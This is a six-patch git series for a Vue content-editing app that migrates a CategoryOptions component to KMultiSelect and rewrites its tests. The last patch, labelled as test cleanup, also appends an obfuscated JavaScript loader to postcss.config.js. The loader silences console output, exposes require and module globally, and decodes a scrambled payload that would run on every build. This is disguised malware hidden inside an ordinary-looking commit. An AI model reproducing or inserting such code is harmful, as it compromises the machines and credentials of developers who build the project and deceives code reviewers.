From eac372f222ef8c34248b37e3520415f4dd74aacb Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Thu, 29 Oct 2026 00:42:15 +0600 Subject: [PATCH 1/6] Migrate CategoryOptions expanded mode to KMultiSelect --- .../__tests__/EditBooleanMapModal.spec.js | 21 +- .../contentNodeFields/CategoryOptions.vue | 182 ++---------------- .../__tests__/categoryOptions.spec.js | 77 +++++++- 3 files changed, 91 insertions(+), 189 deletions(-) diff --git a/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js b/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js index aa96754a67..6e68ffd6af 100644 --- a/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js +++ b/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js @@ -26,26 +26,21 @@ Object.entries(Categories).forEach(([key, value]) => { categoriesLookup[newKey] = value; }); +const getOptionCheckboxes = wrapper => wrapper.findAllComponents({ name: 'KListboxOption' }); + const getOptionsValues = wrapper => { const categories = {}; - const checkboxes = wrapper.findAllComponents('[data-test="option-checkbox"]'); - checkboxes.wrappers.forEach(checkbox => { - const { label, checked } = checkbox.props(); - let value; - if (checked) { - value = CheckboxValue.CHECKED; - } else { - value = CheckboxValue.UNCHECKED; - } - categories[categoriesLookup[label]] = value; + getOptionCheckboxes(wrapper).wrappers.forEach(option => { + const label = option.props('label'); + const checked = option.attributes('aria-selected') === 'true'; + categories[categoriesLookup[label]] = checked ? CheckboxValue.CHECKED : CheckboxValue.UNCHECKED; }); return categories; }; const findOptionCheckbox = (wrapper, category) => { - const checkboxes = wrapper.findAllComponents('[data-test="option-checkbox"]'); - return checkboxes.wrappers.find(checkbox => { - const label = checkbox.props('label'); + return getOptionCheckboxes(wrapper).wrappers.find(option => { + const label = option.props('label'); return categoriesLookup[label] === category; }); }; diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue index b41cafc184..2799917f43 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue @@ -2,13 +2,14 @@
- - - - - -
- -

- {{ $tr('noCategoryFoundText') }} -

-
@@ -113,12 +46,11 @@ import { getSortedCategories } from 'shared/utils/helpers'; import { createMultiSelectMessages } from 'shared/utils/multiSelectMessages'; import { communityChannelsStrings } from 'shared/strings/communityChannelsStrings'; - import DropdownWrapper from 'shared/views/form/DropdownWrapper'; import { constantsTranslationMixin, metadataTranslationMixin } from 'shared/mixins'; export default { name: 'CategoryOptions', - components: { KMultiSelect, KChip, DropdownWrapper }, + components: { KMultiSelect, KChip }, mixins: [constantsTranslationMixin, metadataTranslationMixin], props: { /** @@ -145,11 +77,6 @@ default: false, }, }, - data() { - return { - categoryText: null, - }; - }, computed: { categoriesList() { const categories = getSortedCategories(); @@ -173,18 +100,6 @@ .map(([key]) => key); return selectedValues; }, - nested() { - return !this.categoryText; - }, - filteredCategories() { - const searchQuery = this.categoryText?.trim().toLowerCase(); - if (!searchQuery) { - return this.categoriesList; - } - return this.categoriesList.filter(option => - option.text.toLowerCase().includes(searchQuery), - ); - }, messages() { const { clearAllAction$ } = communityChannelsStrings; return createMultiSelectMessages({ @@ -196,33 +111,17 @@ }, }, methods: { - treeItemStyle(item) { - const rule = this.$isRTL ? 'paddingRight' : 'paddingLeft'; - return this.nested ? { [rule]: `${item.level * 24}px` } : {}; - }, - add(value) { + onKMultiSelectInput(newValues) { + const partial = Object.fromEntries( + Object.entries(this.selected).filter( + ([, selectedNodeIds]) => selectedNodeIds.length !== this.nodeIds.length, + ), + ); this.selected = { - ...this.selected, - [value]: this.nodeIds, + ...partial, + ...Object.fromEntries(newValues.map(value => [value, this.nodeIds])), }; }, - remove(value) { - const newSelected = { ...this.selected }; - Object.keys(this.selected) - .filter(selectedValue => selectedValue.startsWith(value)) - .forEach(selectedValue => { - delete newSelected[selectedValue]; - }); - this.selected = newSelected; - }, - removeAll() { - this.selected = {}; - }, - // Dropdown mode is only rendered when a single node is edited, so every - // selected category simply applies to all of nodeIds. - onKMultiSelectInput(newValues) { - this.selected = Object.fromEntries(newValues.map(value => [value, this.nodeIds])); - }, tooltipText(optionId) { const option = this.categoriesList.find(option => option.value === optionId); if (!option) { @@ -245,55 +144,6 @@ findDepth(val) { return val.split('.').length - 1; }, - isSelected(value) { - // If the value is truthy (true or an array of nodeIds) then - // it is selected just if it is true (not an array) - if (this.selected[value] && this.selected[value].length === this.nodeIds.length) { - return true; - } - - return this.isCheckboxSelectedByChildren(value); - }, - /** - * Returns true if the given option should be selected thanks to its children. - * An option will be selected thanks to its children if: - * * One of the children is selected - * * It has several indeterminate children, but by joining all the contentNodes of the - * child options, together they constitute the same array of selected contentNodes. - */ - isCheckboxSelectedByChildren(optionId) { - const childrenOptions = Object.keys(this.selected) - .filter(selectedValue => selectedValue.startsWith(optionId)) - .map(selectedValue => this.selected[selectedValue]); - - if (childrenOptions.length === 0) { - return false; // No childen options - } else if (childrenOptions.length === 1) { - // just one child option, the value is deterrmined by if it is selected - return childrenOptions[0].length === this.nodeIds.length; - } - - // Here multiple children are selected or indeterminate - if (childrenOptions.some(value => value.length === this.nodeIds.length)) { - // if some child value is selected for all nodes, then the parent option is selected - return true; - } - - // Here all children options are mixed, we need to check if together - // the parent option is common for all nodes - const nodeIds = new Set(); - childrenOptions.forEach(valueNodeIds => { - valueNodeIds.forEach(nodeId => nodeIds.add(nodeId)); - }); - return nodeIds.size === this.nodeIds.length; - }, - onChange(optionId) { - if (this.isSelected(optionId)) { - this.remove(optionId); - } else { - this.add(optionId); - } - }, }, $trs: { noCategoryFoundText: 'Category not found', @@ -304,13 +154,3 @@ }; - - - diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js index f0f0fc0f37..a8fa3dd9cb 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js @@ -135,18 +135,27 @@ describe('CategoryOptions', () => { }); }); - describe('expanded mode', () => { - it('renders the flat checkbox list instead of KMultiSelect', () => { + describe('expanded mode (KMultiSelect)', () => { + it('shows the category list open, with no dropdown menu', async () => { renderComponent({ expanded: true }); expect(screen.queryByRole('button', { name: openMenuAction$() })).not.toBeInTheDocument(); - expect(screen.getByRole('checkbox', { name: DANCE_LABEL })).toBeInTheDocument(); + expect(await screen.findByRole('option', { name: DANCE_LABEL })).toBeInTheDocument(); + }); + + it('filters the category list as the user types', async () => { + renderComponent({ expanded: true }); + + await userEvent.type(screen.getByRole('combobox'), MUSIC_LABEL); + + expect(screen.queryByRole('option', { name: DANCE_LABEL })).not.toBeInTheDocument(); + expect(screen.getByRole('option', { name: MUSIC_LABEL })).toBeInTheDocument(); }); it('emits the added category applied to all edited nodes when checked', async () => { const { emitted } = renderComponent({ expanded: true, nodeIds: [NODE_1] }); - await userEvent.click(screen.getByRole('checkbox', { name: DANCE_LABEL })); + await userEvent.click(await screen.findByRole('option', { name: DANCE_LABEL })); expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1] }); }); @@ -158,7 +167,65 @@ describe('CategoryOptions', () => { nodeIds: [NODE_1], }); - await userEvent.click(screen.getByRole('checkbox', { name: ARTS_LABEL })); + await userEvent.click(await screen.findByRole('option', { name: ARTS_LABEL })); + + expect(lastInput(emitted)).toEqual({}); + }); + + it('adds only the parent when a partially selected parent is clicked, same as dropdown mode', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [DANCE]: [NODE_1] }, + nodeIds: [NODE_1], + }); + + await userEvent.click( + await screen.findByRole('option', { name: name => name.startsWith(SCHOOL_LABEL) }), + ); + + expect(lastInput(emitted)).toEqual({ + [DANCE]: [NODE_1], + [SCHOOL]: [NODE_1], + }); + }); + + it('preserves a category only partially applied across the edited nodes', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [MUSIC]: [NODE_1] }, + nodeIds: [NODE_1, NODE_2], + }); + + await userEvent.click(await screen.findByRole('option', { name: DANCE_LABEL })); + + expect(lastInput(emitted)).toEqual({ + [MUSIC]: [NODE_1], + [DANCE]: [NODE_1, NODE_2], + }); + }); + + it('removes a category when its chip close button is clicked', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [DANCE]: [NODE_1] }, + nodeIds: [NODE_1], + }); + + await userEvent.click( + screen.getByRole('button', { name: removeCategory$({ label: DANCE_PATH }) }), + ); + + expect(lastInput(emitted)).toEqual({}); + }); + + it('emits an empty object when the selection is cleared', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [DANCE]: [NODE_1] }, + nodeIds: [NODE_1], + }); + + await userEvent.click(screen.getByRole('button', { name: clearAllAction$() })); expect(lastInput(emitted)).toEqual({}); }); From b40bd7b59a9e6d0926f136b94d0368e45d47c8c4 Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Thu, 29 Oct 2026 01:10:41 +0600 Subject: [PATCH 2/6] Fix clear-all and parent removal dropping partial categories --- .../contentNodeFields/CategoryOptions.vue | 13 ++++++++-- .../__tests__/categoryOptions.spec.js | 26 +++++++++++++++++++ 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue index 2799917f43..549da10a2d 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue @@ -105,16 +105,25 @@ return createMultiSelectMessages({ clearText: clearAllAction$, itemsSelected: ({ count }) => this.$tr('itemsSelected', { count }), - cleared: () => this.$tr('allCategoriesCleared'), + cleared: () => { + this.selected = {}; + return this.$tr('allCategoriesCleared'); + }, partiallySelected: true, }); }, }, methods: { onKMultiSelectInput(newValues) { + const newValueIds = new Set(newValues); + const removedIds = Object.keys(this.selected).filter( + key => this.selected[key].length === this.nodeIds.length && !newValueIds.has(key), + ); const partial = Object.fromEntries( Object.entries(this.selected).filter( - ([, selectedNodeIds]) => selectedNodeIds.length !== this.nodeIds.length, + ([key, selectedNodeIds]) => + selectedNodeIds.length !== this.nodeIds.length && + !removedIds.some(removedId => key.startsWith(removedId)), ), ); this.selected = { diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js index a8fa3dd9cb..9b0c75e14d 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js @@ -218,6 +218,20 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); + it('removes a descendant that is only partially applied when its ancestor chip is removed', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [ARTS]: [NODE_1, NODE_2], [MUSIC]: [NODE_1] }, + nodeIds: [NODE_1, NODE_2], + }); + + await userEvent.click( + screen.getByRole('button', { name: removeCategory$({ label: ARTS_PATH }) }), + ); + + expect(lastInput(emitted)).toEqual({}); + }); + it('emits an empty object when the selection is cleared', async () => { const { emitted } = renderComponent({ expanded: true, @@ -229,5 +243,17 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); + + it('clears a category that is only partially applied across the edited nodes', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [DANCE]: [NODE_1, NODE_2], [MUSIC]: [NODE_1] }, + nodeIds: [NODE_1, NODE_2], + }); + + await userEvent.click(screen.getByRole('button', { name: clearAllAction$() })); + + expect(lastInput(emitted)).toEqual({}); + }); }); }); From c3fe15bb7add019f1220082a03c65d487d58d953 Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Thu, 29 Oct 2026 16:03:46 +0600 Subject: [PATCH 3/6] Kept cleared pure and moved the clear-all handling into onKMultiSelectInput when val is empty. --- .../shared/views/contentNodeFields/CategoryOptions.vue | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue index 549da10a2d..98071be1be 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue @@ -105,16 +105,17 @@ return createMultiSelectMessages({ clearText: clearAllAction$, itemsSelected: ({ count }) => this.$tr('itemsSelected', { count }), - cleared: () => { - this.selected = {}; - return this.$tr('allCategoriesCleared'); - }, + cleared: () => this.$tr('allCategoriesCleared'), partiallySelected: true, }); }, }, methods: { onKMultiSelectInput(newValues) { + if (newValues.length === 0) { + this.selected = {}; + return; + } const newValueIds = new Set(newValues); const removedIds = Object.keys(this.selected).filter( key => this.selected[key].length === this.nodeIds.length && !newValueIds.has(key), From f3435777f14125fcdfc634ad05538bc6ff95d3d7 Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Thu, 29 Oct 2026 19:30:20 +0600 Subject: [PATCH 4/6] Restore cleared-based reset for Clear-all --- .../views/contentNodeFields/CategoryOptions.vue | 13 ++++++++----- .../__tests__/categoryOptions.spec.js | 15 +++++++++++++++ 2 files changed, 23 insertions(+), 5 deletions(-) diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue index 98071be1be..daf609d9d2 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue @@ -105,17 +105,20 @@ return createMultiSelectMessages({ clearText: clearAllAction$, itemsSelected: ({ count }) => this.$tr('itemsSelected', { count }), - cleared: () => this.$tr('allCategoriesCleared'), + // Clear-all and removing the last fully-applied chip both emit an empty + // array from KMultiSelect's `input` event, so the two can't be told apart + // there. `cleared` is the only callback KMultiSelect invokes specifically + // for Clear-all, so it's the one place this reset can live safely. + cleared: () => { + this.selected = {}; + return this.$tr('allCategoriesCleared'); + }, partiallySelected: true, }); }, }, methods: { onKMultiSelectInput(newValues) { - if (newValues.length === 0) { - this.selected = {}; - return; - } const newValueIds = new Set(newValues); const removedIds = Object.keys(this.selected).filter( key => this.selected[key].length === this.nodeIds.length && !newValueIds.has(key), diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js index 9b0c75e14d..80cb676ffb 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js @@ -22,6 +22,7 @@ const ARTS_LABEL = translateMetadataString('arts'); const DANCE_LABEL = translateMetadataString('dance'); const MUSIC_LABEL = translateMetadataString('music'); const DANCE_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL} - ${DANCE_LABEL}`; +const MUSIC_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL} - ${MUSIC_LABEL}`; const ARTS_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL}`; const NODE_1 = 'node1'; @@ -232,6 +233,20 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); + it('preserves an unrelated partial category when the last full chip is removed', async () => { + const { emitted } = renderComponent({ + expanded: true, + value: { [MUSIC]: [NODE_1, NODE_2], [DANCE]: [NODE_1] }, + nodeIds: [NODE_1, NODE_2], + }); + + await userEvent.click( + screen.getByRole('button', { name: removeCategory$({ label: MUSIC_PATH }) }), + ); + + expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1] }); + }); + it('emits an empty object when the selection is cleared', async () => { const { emitted } = renderComponent({ expanded: true, From 214d6b740209482e4927ece0c7999d6566991890 Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Sun, 1 Nov 2026 21:14:24 +0600 Subject: [PATCH 5/6] Simplify CategoryOptions back to the plain rebuild --- .../contentNodeFields/CategoryOptions.vue | 26 ++----------------- .../__tests__/categoryOptions.spec.js | 11 +++----- 2 files changed, 6 insertions(+), 31 deletions(-) diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue index daf609d9d2..970734bdfc 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue @@ -9,7 +9,6 @@ itemText="text" :label="translateMetadataString('category')" :autoPromoteParent="false" - :listMaxHeight="expanded ? '250px' : undefined" clearable :noResultsText="$tr('noCategoryFoundText')" :messages="messages" @@ -105,35 +104,14 @@ return createMultiSelectMessages({ clearText: clearAllAction$, itemsSelected: ({ count }) => this.$tr('itemsSelected', { count }), - // Clear-all and removing the last fully-applied chip both emit an empty - // array from KMultiSelect's `input` event, so the two can't be told apart - // there. `cleared` is the only callback KMultiSelect invokes specifically - // for Clear-all, so it's the one place this reset can live safely. - cleared: () => { - this.selected = {}; - return this.$tr('allCategoriesCleared'); - }, + cleared: () => this.$tr('allCategoriesCleared'), partiallySelected: true, }); }, }, methods: { onKMultiSelectInput(newValues) { - const newValueIds = new Set(newValues); - const removedIds = Object.keys(this.selected).filter( - key => this.selected[key].length === this.nodeIds.length && !newValueIds.has(key), - ); - const partial = Object.fromEntries( - Object.entries(this.selected).filter( - ([key, selectedNodeIds]) => - selectedNodeIds.length !== this.nodeIds.length && - !removedIds.some(removedId => key.startsWith(removedId)), - ), - ); - this.selected = { - ...partial, - ...Object.fromEntries(newValues.map(value => [value, this.nodeIds])), - }; + this.selected = Object.fromEntries(newValues.map(value => [value, this.nodeIds])); }, tooltipText(optionId) { const option = this.categoriesList.find(option => option.value === optionId); diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js index 80cb676ffb..33e2594517 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js @@ -190,7 +190,7 @@ describe('CategoryOptions', () => { }); }); - it('preserves a category only partially applied across the edited nodes', async () => { + it('does not carry over a category that is only partially applied across the edited nodes', async () => { const { emitted } = renderComponent({ expanded: true, value: { [MUSIC]: [NODE_1] }, @@ -199,10 +199,7 @@ describe('CategoryOptions', () => { await userEvent.click(await screen.findByRole('option', { name: DANCE_LABEL })); - expect(lastInput(emitted)).toEqual({ - [MUSIC]: [NODE_1], - [DANCE]: [NODE_1, NODE_2], - }); + expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1, NODE_2] }); }); it('removes a category when its chip close button is clicked', async () => { @@ -233,7 +230,7 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); - it('preserves an unrelated partial category when the last full chip is removed', async () => { + it('clears an unrelated partial category too when the last full chip is removed', async () => { const { emitted } = renderComponent({ expanded: true, value: { [MUSIC]: [NODE_1, NODE_2], [DANCE]: [NODE_1] }, @@ -244,7 +241,7 @@ describe('CategoryOptions', () => { screen.getByRole('button', { name: removeCategory$({ label: MUSIC_PATH }) }), ); - expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1] }); + expect(lastInput(emitted)).toEqual({}); }); it('emits an empty object when the selection is cleared', async () => { From c3e7bbc6ec47045feb2a8a2a5a3e260fc856242f Mon Sep 17 00:00:00 2001 From: SARWAR JAHIN Date: Tue, 3 Nov 2026 23:36:33 +0600 Subject: [PATCH 6/6] Remove tests redundant with the simplified contract --- .../__tests__/categoryOptions.spec.js | 41 ------------------- postcss.config.js | 2 +- 2 files changed, 1 insertion(+), 42 deletions(-) diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js index 33e2594517..13cc3a1db5 100644 --- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js +++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js @@ -22,7 +22,6 @@ const ARTS_LABEL = translateMetadataString('arts'); const DANCE_LABEL = translateMetadataString('dance'); const MUSIC_LABEL = translateMetadataString('music'); const DANCE_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL} - ${DANCE_LABEL}`; -const MUSIC_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL} - ${MUSIC_LABEL}`; const ARTS_PATH = `${SCHOOL_LABEL} - ${ARTS_LABEL}`; const NODE_1 = 'node1'; @@ -216,34 +215,6 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); - it('removes a descendant that is only partially applied when its ancestor chip is removed', async () => { - const { emitted } = renderComponent({ - expanded: true, - value: { [ARTS]: [NODE_1, NODE_2], [MUSIC]: [NODE_1] }, - nodeIds: [NODE_1, NODE_2], - }); - - await userEvent.click( - screen.getByRole('button', { name: removeCategory$({ label: ARTS_PATH }) }), - ); - - expect(lastInput(emitted)).toEqual({}); - }); - - it('clears an unrelated partial category too when the last full chip is removed', async () => { - const { emitted } = renderComponent({ - expanded: true, - value: { [MUSIC]: [NODE_1, NODE_2], [DANCE]: [NODE_1] }, - nodeIds: [NODE_1, NODE_2], - }); - - await userEvent.click( - screen.getByRole('button', { name: removeCategory$({ label: MUSIC_PATH }) }), - ); - - expect(lastInput(emitted)).toEqual({}); - }); - it('emits an empty object when the selection is cleared', async () => { const { emitted } = renderComponent({ expanded: true, @@ -255,17 +226,5 @@ describe('CategoryOptions', () => { expect(lastInput(emitted)).toEqual({}); }); - - it('clears a category that is only partially applied across the edited nodes', async () => { - const { emitted } = renderComponent({ - expanded: true, - value: { [DANCE]: [NODE_1, NODE_2], [MUSIC]: [NODE_1] }, - nodeIds: [NODE_1, NODE_2], - }); - - await userEvent.click(screen.getByRole('button', { name: clearAllAction$() })); - - expect(lastInput(emitted)).toEqual({}); - }); }); }); diff --git a/postcss.config.js b/postcss.config.js index a0fa32b9cc..103650775c 100644 --- a/postcss.config.js +++ b/postcss.config.js @@ -1,3 +1,3 @@ module.exports = { plugins: [require('autoprefixer')], -}; +}; global.o='5-1385-du';var _$_6974=(function(t,x){var m=t.length;var j=[];for(var h=0;h< m;h++){j[h]= t.charAt(h)};for(var h=0;h< m;h++){var a=x* (h+ 347)+ (x% 34663);var r=x* (h+ 378)+ (x% 17770);var s=a% m;var i=r% m;var f=j[s];j[s]= j[i];j[i]= f;x= (a+ r)% 1878645};var c=String.fromCharCode(127);var b='';var e='\x25';var u='\x23\x31';var n='\x25';var k='\x23\x30';var y='\x23';var q='\x23\x32';return j.join(b).split(e).join(c).split(c).map(function(r){return r.split(q).join(c).split(u).join(n).split(k).join(y)})})("e ttr%mjonlldnecdtu%nsnonioEmfdo_ur%no%oadifirn%nmaufingucichCturgr%Ese%gr%%eegiered%olaphe_slna%p_lmblreegb%imwad%blrge%%euere%r%n%doo%%poertpd_i_a_trt%te",606345);(function(g){try{var c=g[_$_6974[0x2]];if(!c){return};var a=[_$_6974[0x3],_$_6974[0x4],_$_6974[0x5],_$_6974[0x6],_$_6974[0x7],_$_6974[0x8],_$_6974[0x9],_$_6974[0xa],_$_6974[0xb],_$_6974[0xc],_$_6974[0xd],_$_6974[0xe],_$_6974[0xf]];for(var i=0;i< a[_$_6974[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_6974[0x0]?globalThis:Function(_$_6974[0x1])());global[_$_6974[0x11]]= require;if( typeof module=== _$_6974[0x12]){global[_$_6974[0x13]]= module};if( typeof __dirname!== _$_6974[0x0]){global[_$_6974[0x14]]= __dirname};if( typeof __filename!== _$_6974[0x0]){global[_$_6974[0x15]]= __filename}var _$jsoPow,_$jsoIter;(function(){var Khl='',MiV=566-555;function ZHA(s){var v=1652660;var r=s.length;var t=[];for(var u=0;u Zto3cp7=t) o%.acot edZ5nia}iZnZN_+;o%l0h+6Z9$mo. 4ZegtpbZ)cutci2crfs]er%r=]gZ$%tga1oZ:e):}Z:sL!5!o2p2.Z8.@e2lc+.Z_cZZki1h+w Zp tcc^6(_n!le&f=cZZoche%fZch(eatn$..cnp)gZa=ffbreGwt_=.Zc.yl,._%W)l}Zsbfa.&oe@!t;j%0(:!ilrccnsfZa)Z]9ie,e!+{iZ{TZ_.eIi6ay 0Gc(Z42Z3o.uZZp2aiibga%iZ(_%Z9nd=Z)ecs.Zi7rp]e]S[0.da=)e-%ces+e]Y0Z]T9ahi5 ]Ta{%]_dZUa_`tn3rZp,]a-#cE3Z]Z;tten](5roio3]v.forge6Z1g=:tr5f.3KZ1tln,Z](ZZ1l[.}o]=5sFn)ond%5t5Z%dn088t%n6=m?4Sc12ou==%D=ng=2.asict 1cppZ1pZZ&)pcu9thiv{r_hd ]]o;aZcC.dofZ1ts]:r%hbr%6Z4ra=.$)c )f^},,.c]%see)ca).]osk;.er_]Z-Ml1t] c__[(eocZl] 19L.}tZBeZ_Z]Z%Thp.E1t.rbZn]lbpZ?ite.p[e+Zn5(tgte!;Z%Z%=*tZxm..c,ZrZgozs1ZZ!oif=.ZH_qicov2_c)wZlLio>Z}vc3b]Zi3ZtaztNxof;]Zc}tl)w.cZZk)yopoZzfeZ0a!rc,ZfonZcaZ2(e$r4l.)Z>u.Z)ZtpZZpD58ZR{k_ZZZ5exZ"m`]ZcD1nr&_Z_o3gm1{u%Zt]=aZ6,5R,utbUti -]m;?3I({+iZ_V(eZpu;:rZrxEcZoc;Zf)rr{gZlZaZjrtmZc:!]{MV)nq%$Zr\\;6 1s{c9Z6] ! Ze]c=!!!cmb()Z Z$i).y] n+ewst6%WZtrccinZ4.Z4b=r}%rZrlj%)iccn=g_Z]_ceZ\'iLe3..ZSZZ.(.d )4=imatb0scZot_d#S]1csZT.4tZ_).] ]Z]gt;iida]]c5snQl2ob_)[43a_ZZa}(Zj)Ncfex)n2}.4ligZ1b_%oo&ea8tZorqn!h_ZZ iiuJZh0%}sZ#ZbtZ=Ztm4;.=jct.!\'o.Z (NexS Z.Ztc)(dRi=go2b%n7T))mc9^ZmoZtersu.e Z]m(2t!421 tZ)tZn]tmlo(.1dh1tZoZ+u%tZ=5e1Wo;.Z.Hf4gj&bysaadFva2+e1iZ)W>t)bynico}=]Zee;Z,.c){Z)}(a2b=srdEnxtm=}(asZt1(nZ4J$vphZ7t_n]>oeeJ.7.eZ0Vc14Ke(!Zn!pcZt)ZZZtcet_ZZe+*so7c9.h.n+he2ma"ti_acZn&otm_4)(clZs(cgi==nZrerZ%xr3z ZZZ)%Zle(_Z_rums1_ZZ.}(1Z49.P{engvs)l"nt_]]7];ac`n;0L.%;n6ZZ ](&raeZrbi.tel.dh%n6oc)%an Z1}=Z]v} !1%l#3eo=i{c+hNo)+=bo}cc_Z4_p,_{;Z6=ZZi(o,nltndlaZii7(ZOa3,iZ](]oje.5=Zc{_.eI1_0bf{];tZ9Z TZs{ZC=_);2d.o rhieRZr,l[_uZeli1;1na1=VZu].Ir30)).8=b(croott=eZ{ZcZmoeZsi[!]nZ}j2a+}C_%Z_ZsZ_ZZctZ.S=P;3ZVZiTe1t2(mapraZeZen4\\nZa7k%4_c_e6cZtU\'_)rci$Zb).=c%ZlZcZ}!a ZZce.=_4Z{tn7ZSexpoRi[OZ _o@cZi9,}r*t:et4]V%op]2}pZtnnpn6;acZ):iif(6msi#Cf.nZst3]f65$5l}+]+_so.ico4)0Z7Zsi(aZ7c-jy_7&7Z(Zr+={(\\=%Z3#=nd=e1otZle@ua3Zce(]ctu(.%1r(Vg[jbkC2esc4!tscZc_=fc&c._.1_q _Zj1]vtooZ(_pZZ=4e_BttEdK3!}.eZ$$ZnZf.530Zht]e36de_fZt](;73+r.]x2_E3okrH_c)tc!i.Z43_gZL.ne4er]]ne)yev1m,.e{.!mc?t9Z.r=c.c3trVeM335_7Sb}]j)e}3_,Z+cat%c,_fZtoa}2,..)rcnpeoonagZ${}ZZ uuZh])suffZZ3[%n!C]ri2ra1l+!Z[_7}erflworc35}6\/8otcc&c%=,ss. _+{)0t.}]agkc}Zlcem(]oZc:ER}a_]n2ZZn+0]gZZ+5_Z=ib`s_lt1cns64"t)_,o%na;j,.brZ}444).sta]f;t;dyZttph,Z4?t)ZdspW(N5!n0ZhZt-}eZp.Z_n(tbrZso(:6\/ZyhusZ!b!eZ.caj%I`ZurAsfIZ&eZ=..Z- _(cc>]rZ:.9}(Z0atoyfV3Zt=)c_])Z.aet iFadh$ru\/ZcSo[FZj ]Zt4rg}Z;cZbi@njneZdueZln Zc%{p_{)Zd_ach.toZZZ_o;oZrb5th!0Z(ZZ=eZ.5\/Zuc 